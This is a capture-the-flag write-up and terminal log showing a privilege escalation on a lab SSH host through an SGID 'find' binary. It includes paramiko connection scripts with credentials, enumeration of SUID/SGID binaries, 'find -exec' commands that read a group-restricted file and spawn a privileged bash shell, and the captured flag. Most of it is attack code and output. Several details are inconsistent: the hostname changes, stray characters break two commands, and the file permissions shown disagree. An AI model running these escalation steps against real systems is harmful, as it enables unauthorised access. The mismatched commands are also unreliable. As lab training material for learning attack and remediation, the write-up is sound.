

SUID/SGID Exploitation Report

pentestgarage.com:3327

Target: cc1.pentestgarage.com:3327

Service: SSH

Status: COMPLETED - Flag Captured

Executive Summary

Exploited misconfigured SGID binary (`/usr/bin/find`) to escalate privileges and access files restricted to `ctf` group.

Reconnaissance

System Information

```
# SSH connection using Python paramiko
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('id && uname -a')
print(stdout.read().decode())
client.close()
EOF
```

```
uid=1000(user) gid=1000(user) groups=1000(user)
Linux ce5652007b70 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC Sat
Mar 15 17:40:59 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
```

Find SUID/SGID Files

```
# Python paramiko command to find all SUID/SGID files
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('find / -perm -4000 -o -perm
-2000 2>/dev/null | grep -v "^/proc"')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/su
-rwsr-xr-x 1 root root 67792 Nov 29 2022 /usr/bin/expiry
-rwxr-sr-x 1 root ctf 320160 Feb 18 2020 /usr/bin/find <-- TARGET
-rwsr-xr-x 1 root root 63840 Mar 27 2023 /usr/bin/chsh
-rwsr-xr-x 1 root root 63840 Mar 27 2023 /usr/bin/passwd
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/mount
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/umount
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/chfn
-rwsr-xr-x 1 root root 67816 May 30 2023 /usr/bin/newgrp
-rwsr-xr-x 1 root root 350504 Jul 19 2023 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 43168 Feb 2 2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 43160 Feb 2 2023
/usr/sbin/pam_extrausers_chkpwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/var/log/journal
/var/local
/var/mail
```

Critical Finding: `/usr/bin/find` with SGID

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('ccl.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('ls -la /usr/bin/find &&
file /usr/bin/find')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
-rwxr-sr-x 1 root ctf 320160 Feb 18 2020 /usr/bin/find /usr/bin/find:
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=c3401a1027f8e379916587e6162d98dfc3e57c8a, stripped
```

Check Target File Permissions

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('ls -la /home/ctf/flag')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
-r--r----- 1 root ctf 38 Jul 26 2023 /home/ctf/flag
```

Exploitation

Verify Effective GID During Find Execution

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('find /home/ctf -exec id
\\;')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
uid=1000(user) gid=1000(user) egid=1001(ctf) groups=1001(ctf),1000(user)
```

Proof of Concept - Read the Flag

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('find /home/ctf/flag -exec
cat {} \\;')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
ctf{ai3ooph4yaiYiquie7Ahr6chaequahru}
```

Proof of Concept Commands Summary

Full Exploit Chain

```
# 1. Connect to target
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('ccl.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)

# 2. Enumerate SUID/SGID binaries
stdin, stdout, stderr = client.exec_command('find / -perm -4000 -o -perm
-2000 2>/dev/null | grep -v "^/proc"')
print("[*] SUID/SGID Files:")
print(stdout.read().decode())

# 3. Check find binary permissions
stdin, stdout, stderr = client.exec_command('ls -la /usr/bin/find')
print("[*] Find binary:")
print(stdout.read().decode())

# 4. Check target file
stdin, stdout, stderr = client.exec_command('ls -la /home/ctf/flag')
print("[*] Target file:")
print(stdout.read().decode())

# 5. Exploit: Read flag using SGID find
stdin, stdout, stderr = client.exec_command('find /home/ctf/flag -exec
cat {} \;>')
print("[+] FLAG CAPTURED:")
print(stdout.read().decode())

client.close()
EOF
```

Alternative Exploitation Methods

```
# Method 1: Using find -exec cat
find /home/ctf/flag -exec cat {} \;

# Method 2: Copy to accessible location
find /home/ctf/flag -exec cp {} /tmp/flag \;

# Method 3: Read with head
find /home/ctf/flag -exec head -1 {} \;

# Method 4: Spawn shell with ctf group (if available)
find / -maxdepth 0 -exec /bin/bash -p \;
```

Verification Before

Exploitation

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('ccl.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('cat /home/ctf/flag 2>&1')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
cat: /home/ctf/flag: Permission denied
```

After Exploitation

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('ccl.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('find /home/ctf/flag -exec
cat {} \;<')
print(stdout.read().decode())
client.close()
EOF
```

Output:

```
ctf{ai3ooph4yaiYiquie7Ahr6chaequahru}
```

Technical Details

Vulnerability Type

SGID (Set Group ID) Binary Misconfiguration

Root Cause

/usr/bin/find has SGID bit set for ctf group (1001), allowing any user to execute commands with effective GID of ctf .

CVSS Score

Medium (5.5) - Local privilege escalation to group access

Affected Binary Information

Property	Value
Path	/usr/bin/find

Permissions	-rwxr-sr-x
Owner	root
Group	ctf
Size	320160 bytes
Date	Feb 18 2020
SHA256	(see below)

```
python3 << 'EOF'
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('cc1.pentestgarage.com', port=3327, username='user',
password='user', timeout=10)
stdin, stdout, stderr = client.exec_command('sha256sum /usr/bin/find')
print(stdout.read().decode())
client.close()
EOF
```

Remediation

Immediate Fix

```
chmod g-s /usr/bin/find
```

Verification

```
ls -la /usr/bin/find
# Expected: -rwxr-xr-x 1 root ctf ...
```

Flag

```
ctf{ai3ooph4yaiYiquie7Ahr6chaequahru}
```

```
(venv)-(kali@kali)-[~]
$ sshpass -p 'user' ssh -o StrictHostKeyChecking=no user@cc1.pentestgarage.com -p 3327\

** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-57-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Thu May 14 07:01:49 2026 from 52.66.160.188
user@ce5652007b70:~$ find / -perm -4000 -o -perm -2000 2>/dev/null | grep -v "^/proc"
/usr/bin/su
/usr/bin/expiry
/usr/bin/chsh
/usr/bin/chage
/usr/bin/passwd
/usr/bin/mount
/usr/bin/find
/usr/bin/umount
/usr/bin/wall
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/ssh-agent
/usr/sbin/unix_chkpwd
/usr/sbin/pam_extrausers_chkpwd
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/var/log/journal
/var/local
/var/mail
user@ce5652007b70:~$ ls -la /home/ctf/flag
-r--r--r-- 1 root ctf 38 Jul 26 2023 /home/ctf/flag
user@ce5652007b70:~$ find /home/ctf/flag -exec cat {} \;
ctf{ai3ooph4yaiYiquie7Ahr6chaequahru}
user@ce5652007b70:~$
```